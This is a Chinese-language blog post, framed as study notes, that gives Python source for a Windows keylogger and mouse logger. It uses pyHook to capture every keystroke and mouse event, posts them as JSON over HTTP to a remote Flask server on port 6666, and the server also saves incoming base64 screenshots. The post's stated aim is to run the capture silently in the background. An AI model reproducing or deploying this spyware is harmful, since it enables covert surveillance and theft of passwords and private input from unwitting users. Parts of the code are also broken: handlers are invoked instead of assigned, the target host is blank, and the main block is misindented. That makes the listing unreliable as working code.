Python Windows键盘鼠标记录器(学习笔记)

  1. 截获键盘与鼠标操作
  2. 截获信息后,转换为JSON格式,通过HTTP发送到服务器
  3. 后台运行Python脚本
# flask_client_json.py
from http.client import HTTPConnection
import json

def http_post_json(ip,dict_data,port=6666):
    c = HTTPConnection(ip, port=port)

    # 创建并写入HTTP头部数据
    headers = {}
    headers['Content-Type'] = 'application/json'

    # 写入HTTP Body部分的JSON数据
    post_json_data = json.dumps(dict_data).encode('utf-8')

    # 发起HTTP连接
    c.request('POST', '/server_json', body=post_json_data, headers=headers)

    if __name__ == '__main__':
        json_data = {'from': "akiflw", "to": "fjlakdj", "amount": 3}
        http_post_json('192.168.1.2', json_data)
# 客户端
import pythoncom, pyHook
from flask_client_json import http_post_json
def OnKeyboardEvent(event):
    dict_key = {}
    dict_key['MessageType'] = 'KeyboardEvent'
    dict_key['MessageName'] = event.MessageName
    dict_key['Time'] = event.Time
    dict_key['Key'] = event.Key
    http_post_json('', dict_key)
    return True


def OnMouseEvent(event):
    dict_key = {}
    dict_key['MessageType'] = 'MouseEvent'
    dict_key['MessageName'] = event.MessageName
    dict_key['Time'] = event.Time
    dict_key['Position'] = event.Position
    dict_key['Wheel'] = event.Wheel
    http_post_json('', dict_key)
    return True



def key_mouse_logger():
    # create a hook manager
    hm = pyHook.HookManager()
    # watch for all keyboard events
    hm.KeyDown = OnKeyboardEvent()
    # set the hook
    hm.HookKeyboard()
    # watch for all mouse events
    hm.MouseAll = OnMouseEvent()
    # set the hook
    hm.HookMouse()
    # wait forever
    pythoncom.PumpMessages()
if __name__ == '__main__':
    key_mouse_logger()
# 服务端
from flask import Flask
from flask import request
import base64
import json
from datetime import datetime
node = Flask(__name__)


def b64_img(b64):
    b4code = bytes(b64, 'utf8')
    img = base64.b64decode(b4code)
    return img

@node.route('/server_json', methods=['POST'])


def transaction():
    if request.method == 'POST':

        # 获取POST请求中的数据
        json_data = request.get_json()

        if json_data['MessageType'] == 'ImageEvent':
            filename = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ".bmp"
            recv_image = open(filename, 'wb')
            recv_image.write(b64_img(json_data['Image64']))
            recv_image.close()
        else:
            print(json_data)

        return 'got data!'

if __name__ == '__main__':
        node.run(host='0.0.0.0', port=6666)

posted on 2021-02-04 15:46  z_kkkk  阅读(335)  评论(0)    收藏  举报

导航